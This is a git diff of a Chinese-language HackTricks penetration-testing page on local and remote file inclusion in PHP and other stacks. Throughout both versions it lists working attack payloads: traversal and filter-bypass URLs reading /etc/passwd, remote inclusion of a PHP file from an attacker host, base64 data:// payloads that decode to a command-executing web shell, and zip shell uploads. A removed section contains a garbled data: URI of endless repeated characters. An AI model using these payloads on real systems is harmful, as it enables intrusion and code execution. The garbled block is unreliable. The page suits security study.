diff --git a/pentesting-web/file-inclusion/README.md b/pentesting-web/file-inclusion/README.md
index 81797fbf7..2f864981d 100644
--- a/pentesting-web/file-inclusion/README.md
+++ b/pentesting-web/file-inclusion/README.md
@@ -2,43 +2,41 @@
-☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
+☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
-* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
-* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
+* 您在**网络安全公司**工作吗?您想在**HackTricks**中看到您的**公司广告**吗?或者您想要访问**最新版本的PEASS或下载HackTricks的PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
+* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
+* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
+* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
-**HackenProof是所有加密漏洞赏金的家园。**
+加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
-**无需延迟获得奖励**\
-HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
+**黑客洞察**\
+深入探讨黑客的刺激和挑战
-**在web3渗透测试中获得经验**\
-区块链协议和智能合约是新的互联网!在其兴起的日子里掌握web3安全。
+**实时黑客新闻**\
+通过实时新闻和洞察,跟上快节奏的黑客世界
-**成为web3黑客传奇**\
-每次验证的漏洞都会获得声望积分,并占据每周排行榜的榜首。
+**最新公告**\
+通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
-[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客攻击中获利!
-
-{% embed url="https://hackenproof.com/register" %}
+**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **,今天就开始与顶尖黑客合作!**
## 文件包含
-**远程文件包含(RFI):** 文件从远程服务器加载(最好:您可以编写代码,服务器将执行它)。在php中,默认情况下**禁用**此功能(**allow\_url\_include**)。\
+**远程文件包含(RFI):** 文件从远程服务器加载(最佳:您可以编写代码,服务器将执行它)。在php中,默认情况下是**禁用**的(**allow\_url\_include**)。\
**本地文件包含(LFI):** 服务器加载本地文件。
-当用户以某种方式控制将要由服务器加载的文件时,就会出现漏洞。
+当用户能够以某种方式控制服务器即将加载的文件时,就会发生漏洞。
-易受攻击的**PHP函数**:require、require\_once、include、include\_once
+易受攻击的**PHP函数**:require, require\_once, include, include\_once
-一个有趣的利用此漏洞的工具:[https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
+一个有趣的工具来利用这个漏洞:[https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## 盲目 - 有趣 - LFI2RCE文件
```python
@@ -46,112 +44,97 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
-**混合了几个 \*nix LFI 列表并添加了更多路径,我创建了这个列表:**
+**将几个 \*nix LFI 列表混合并添加了更多路径,我创建了以下列表:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
-还可以尝试将 `/` 更改为 `\`\
-还可以尝试添加 `../../../../../`
+尝试将 `/` 更改为 `\`\
+也尝试添加 `../../../../../`
-可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)找到一个使用多种技术来查找文件 /etc/password(以检查漏洞是否存在)的列表。
+一个使用多种技术来查找文件 /etc/password(以检查漏洞是否存在)的列表可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)找到
### **Windows**
-合并了几个列表,我创建了这个列表:
+合并了几个列表,我创建了:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
-还可以尝试将 `/` 更改为 `\`\
-还可以尝试删除 `C:/` 并添加 `../../../../../`
+尝试将 `/` 更改为 `\`\
+也尝试移除 `C:/` 并添加 `../../../../../`
-可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)找到一个使用多种技术来查找文件 /boot.ini(以检查漏洞是否存在)的列表。
+一个使用多种技术来查找文件 /boot.ini(以检查漏洞是否存在)的列表可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)找到
### **OS X**
-查看 Linux 的 LFI 列表。
+检查 Linux 的 LFI 列表。
-## 基本 LFI 和绕过方法
+## 基本 LFI 和绕过
-所有示例都是针对本地文件包含,但也可以应用于远程文件包含(page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/)。
+所有示例都适用于本地文件包含,但也可以应用于远程文件包含(page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/)。
```
http://example.com/index.php?page=../../../etc/passwd
```
-### 递归剥离的遍历序列
-
-When performing file inclusion attacks, it is common to encounter input validation mechanisms that strip traversal sequences (such as "../" or "..\") from user-supplied input. However, these mechanisms are often implemented in a non-recursive manner, meaning that they only remove one occurrence of the traversal sequence at a time.
-
-在执行文件包含攻击时,常常会遇到输入验证机制,该机制会从用户提供的输入中剥离遍历序列(例如"../"或"..\")。然而,这些机制通常是以非递归的方式实现的,这意味着它们一次只能移除一个遍历序列的出现。
-
-This behavior can be exploited by using multiple traversal sequences in a single payload. By including multiple traversal sequences, we can bypass the input validation mechanism and successfully include files that would otherwise be restricted.
-
-我们可以利用这种行为,使用多个遍历序列在一个有效载荷中。通过包含多个遍历序列,我们可以绕过输入验证机制,并成功包含那些本来受限制的文件。
-
-For example, if the input validation mechanism removes only one occurrence of "../" at a time, we can use a payload like "../../../../etc/passwd" to include the "/etc/passwd" file.
-
-例如,如果输入验证机制一次只移除一个"../"的出现,我们可以使用类似"../../../../etc/passwd"的有效载荷来包含"/etc/passwd"文件。
-
-It is important to note that this technique relies on the specific behavior of the input validation mechanism. If the mechanism is updated to remove multiple occurrences of traversal sequences, this technique may no longer be effective.
-
-需要注意的是,这种技术依赖于输入验证机制的特定行为。如果该机制被更新为移除多个遍历序列的出现,这种技术可能不再有效。
+### 遍历序列非递归地被剥离
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
-### **空字节(%00)**
+### **空字节 (%00)**
-绕过在提供的字符串末尾添加更多字符的限制(绕过方法:$\_GET\['param']."php")
+绕过在提供的字符串末尾追加更多字符(绕过:$\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
-这个问题在PHP 5.4之后已经解决。
+这个问题在 **PHP 5.4** 已经**解决**
-### 编码
+### **编码**
-你可以使用非标准的编码,比如双重URL编码(以及其他编码方式):
+你可以使用非标准编码,比如双重URL编码(以及其他):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
-### 从现有文件夹
+### 来自现有文件夹
-也许后端正在检查文件夹路径:
+后端可能正在检查文件夹路径:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### 识别服务器上的文件夹
-根据应用程序代码/允许的字符,可能可以通过发现文件夹而不仅仅是文件来递归地探索文件系统。为了做到这一点:
+根据应用程序代码/允许的字符,可能可以通过发现文件夹而不仅仅是文件来递归地探索文件系统。为此:
-* 通过成功检索`/etc/passwd`(如果在Linux上)来确定您当前目录的"深度":
+* 通过成功检索 `/etc/passwd`(如果在Linux上)来确定当前目录的“深度”:
```
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
-* 通过添加文件夹名称(这里是 `private`)并返回到 `/etc/passwd`,尝试猜测当前目录中的文件夹名称:
+* 尝试通过添加文件夹名称(此处为 `private`),然后返回到 `/etc/passwd` 来猜测当前目录中的文件夹名称:
```
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
```
-* 如果应用程序存在漏洞,请求可能会有两种不同的结果:
-* 如果你得到一个错误/没有输出,那么这个位置不存在`private`文件夹
-* 如果你得到了`/etc/passwd`的内容,那么你验证了当前目录确实存在一个`private`文件夹
-* 使用这种技术发现的文件夹可以使用经典的LFI方法进行文件模糊测试,或者使用相同的递归技术进行子目录模糊测试。
+* 如果应用程序存在漏洞,可能会有两种不同的请求结果:
+* 如果你收到一个错误/没有输出,那么`private`文件夹在这个位置不存在
+* 如果你得到了`/etc/passwd`的内容,你就验证了当前目录确实存在一个`private`文件夹
+* 使用这种技术发现的文件夹可以进一步使用经典的LFI方法对文件进行模糊测试,或者使用相同的技术递归地对子目录进行模糊测试。
-可以将这种技术调整为在文件系统的任何位置查找目录。例如,如果在相同的假设下(当前目录在文件系统的深度3处),你想要检查`/var/www/`是否包含一个`private`目录,请使用以下有效载荷:
+可以调整这种技术,以在文件系统的任何位置找到目录。例如,如果在相同的假设下(当前目录在文件系统的第三层),你想检查`/var/www/`是否包含一个`private`目录,使用以下payload:
```
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
-以下命令序列允许使用 `sed` (1) 生成用作 url 模糊测试工具(如 `ffuf` (2))的输入的有效载荷:
+以下命令序列允许使用 `sed` (1) 生成有效载荷,作为URL模糊测试工具如 `ffuf` (2) 的输入:
```
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
+$ ffuf -u http://owasp.ctf.intigriti.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200 -e '.php~,.php.old,.php.bak,.php.swp,.php.sav,.php.save'
```
-当然,根据您的需求调整有效载荷的深度/位置/输入目录列表。
+当然,请根据您对深度/位置/输入目录列表的需求调整这些有效载荷。
### **路径截断**
-绕过在提供的字符串末尾添加更多字符的操作(绕过方式:$\_GET\['param']."php")
+绕过在提供的字符串末尾附加更多字符的限制(绕过:$\_GET\['param']."php")
```
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
@@ -167,11 +150,11 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
-始终尝试以一个虚假目录(a/)**开头**路径。
+始终尝试**从假目录**(a/)**开始**路径。
-**此漏洞已在PHP 5.3中修复。**
+**此漏洞在PHP 5.3中得到修正。**
-### **绕过过滤器的技巧**
+### **过滤器绕过技巧**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@@ -181,12 +164,12 @@ http://example.com/index.php?page=PhP://filter
```
## 远程文件包含
-在 PHP 中,默认情况下禁用此功能,因为 **`allow_url_include`** 的值为 **Off**。它必须设置为 **On** 才能正常工作,在这种情况下,您可以从您的服务器包含一个 PHP 文件并获得远程代码执行(RCE)的能力:
+在php中,这是默认禁用的,因为 **`allow_url_include`** 是**关闭的**。它必须是**开启的**才能工作,在那种情况下,你可以包含一个来自你服务器的PHP文件并获得RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
-如果由于某种原因 **`allow_url_include`** 是 **开启**的,但是PHP正在**过滤**对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以使用例如使用base64的data协议来解码一个b64 PHP代码并获得RCE:
+如果出于某种原因 **`allow_url_include`** 是 **开启** 的,但PHP正在**过滤**对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以使用数据协议与base64来解码b64 PHP代码并获得RCE:
{% code overflow="wrap" %}
```
@@ -195,40 +178,40 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
{% endcode %}
{% hint style="info" %}
-在上面的代码中,最后添加了 `+.txt` 是因为攻击者需要一个以 `.txt` 结尾的字符串,这样在经过 b64 解码后,这部分将返回无用的内容,而真正的 PHP 代码将被包含(从而执行)。
+在上面的代码中,最后添加了 `+.txt` 是因为攻击者需要一个以 `.txt` 结尾的字符串,所以字符串以它结束,在 b64 解码后那部分将返回无用信息,而真正的 PHP 代码将被包含(因此,被执行)。
{% endhint %}
-另一个**不使用 `php://` 协议**的示例是:
+另一个**不使用 `php://` 协议**的例子是:
{% code overflow="wrap" %}
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
-{% endcode %}
-
## Python 根元素
-在Python中,像下面这样的代码:
+在 Python 中,像这样的代码:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
-如果用户传递了一个**绝对路径**给**`file_name`**,那么**之前的路径会被移除**:
+如果用户传递了一个**绝对路径**到**`file_name`**,**之前的路径将被直接移除**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
-这是根据[文档](https://docs.python.org/3.10/library/os.path.html#os.path.join)的预期行为:
+```markdown
+根据[官方文档](https://docs.python.org/3.10/library/os.path.html#os.path.join)所述,这是预期的行为:
-> 如果一个组件是绝对路径,则所有先前的组件都被丢弃,连接将从绝对路径组件继续。
+> 如果组件是一个绝对路径,那么所有之前的组件都会被丢弃,连接操作将从绝对路径组件开始。
-## Java列出目录
+## Java 列出目录
-看起来,如果在Java中存在路径遍历,并且您**请求的是一个目录**而不是一个文件,则会返回**目录的列表**。这在其他语言中不会发生(据我所知)。
+如果你在 Java 中遇到路径遍历,并且你**请求目录**而不是文件,将会返回**目录列表**。据我所知,其他语言不会发生这种情况。
## 前25个参数
-以下是可能容易受到本地文件包含(LFI)漏洞攻击的前25个参数的列表(来自[链接](https://twitter.com/trbughunters/status/1279768631845494787)):
+以下是可能容易受到本地文件包含(LFI)漏洞影响的前25个参数列表(来源于[链接](https://twitter.com/trbughunters/status/1279768631845494787)):
+```
```
?cat={payload}
?dir={payload}
@@ -256,39 +239,39 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
?mod={payload}
?conf={payload}
```
-## 使用PHP包装器和协议的LFI / RFI
+## LFI / RFI 使用 PHP 包装器和协议
### php://filter
-PHP过滤器允许在读取或写入数据之前对数据进行基本的修改操作。有5个过滤器类别:
+PHP 过滤器允许在数据被读取或写入之前对其进行基本的**修改操作**。有 5 类过滤器:
* [字符串过滤器](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
* `string.toupper`
* `string.tolower`
-* `string.strip_tags`:从数据中删除标签(位于"<"和">"字符之间的所有内容)
-* 请注意,此过滤器已从现代版本的PHP中消失
+* `string.strip_tags`:从数据中移除标签("<" 和 ">" 字符之间的所有内容)
+* 注意,这个过滤器已经在现代版本的 PHP 中消失
* [转换过滤器](https://www.php.net/manual/en/filters.convert.php)
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
-* `convert.iconv.*`:转换为不同的编码(`convert.iconv..`)。要获取支持的**所有编码列表**,请在控制台中运行:`iconv -l`
+* `convert.iconv.*` :转换为不同的编码(`convert.iconv..`)。要获取**所有支持的编码列表**,在控制台运行:`iconv -l`
{% hint style="warning" %}
-滥用`convert.iconv.*`转换过滤器,您可以**生成任意文本**,这对于编写任意文本或使包含过程成为任意文本的函数可能很有用。有关更多信息,请查看[LFI2RCE通过php过滤器](lfi2rce-via-php-filters.md)。
+滥用 `convert.iconv.*` 转换过滤器,你可以**生成任意文本**,这可能有助于写入任意文本或使像 include 这样的函数处理任意文本。更多信息请查看 [**LFI2RCE 通过 PHP 过滤器**](lfi2rce-via-php-filters.md)。
{% endhint %}
* [压缩过滤器](https://www.php.net/manual/en/filters.compression.php)
-* `zlib.deflate`:压缩内容(如果外泄大量信息时有用)
+* `zlib.deflate`:压缩内容(如果泄露大量信息时很有用)
* `zlib.inflate`:解压数据
* [加密过滤器](https://www.php.net/manual/en/filters.encryption.php)
-* `mcrypt.*`:已弃用
-* `mdecrypt.*`:已弃用
+* `mcrypt.*` :已弃用
+* `mdecrypt.*` :已弃用
* 其他过滤器
-* 在php中运行`var_dump(stream_get_filters());`,您可以找到一些**意外的过滤器**:
+* 在 PHP 中运行 `var_dump(stream_get_filters());`,你可以找到一些**意外的过滤器**:
* `consumed`
-* `dechunk`:反转HTTP分块编码
+* `dechunk`:逆转 HTTP 分块编码
* `convert.*`
```php
# String Filters
@@ -317,22 +300,20 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
{% hint style="warning" %}
-"php://filter"部分是不区分大小写的。
+部分 "php://filter" 对大小写不敏感
{% endhint %}
### php://fd
-此包装器允许访问进程打开的文件描述符。可能有用于窃取已打开文件的内容:
+此封装器允许访问进程已打开的文件描述符。可能用于泄露已打开文件的内容:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
-您还可以使用**php://stdin、php://stdout和php://stderr**来分别访问**文件描述符0、1和2**(不确定这在攻击中有何用处)
-
-### zip://和rar://
+### zip:// 和 rar://
上传一个包含PHPShell的Zip或Rar文件并访问它。\
-为了能够滥用rar协议,**需要专门激活**它。
+为了能够滥用rar协议,它**需要被特别激活**。
```bash
echo "" > payload.php;
zip payload.zip payload.php;
@@ -348,15 +329,6 @@ rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
-
-data://是一种URL协议,用于在Web应用程序中包含数据。它允许将数据直接嵌入到URL中,而不是从外部文件加载。这种技术可以用于在网页中嵌入图像、音频、视频或其他类型的数据。
-
-使用data://协议时,数据被编码为Base64格式,并直接放置在URL中。这意味着数据将作为URL的一部分传输,而不是从服务器上的文件加载。这种方法可以减少对外部资源的依赖,提高网页加载速度。
-
-要使用data://协议,只需在URL中指定数据的MIME类型,然后将数据编码为Base64格式。例如,要在网页中嵌入一张图片,可以使用以下格式的URL:
-
-```
-data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAWElEQVQ4T2NkoBAwUqifg/8GBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYG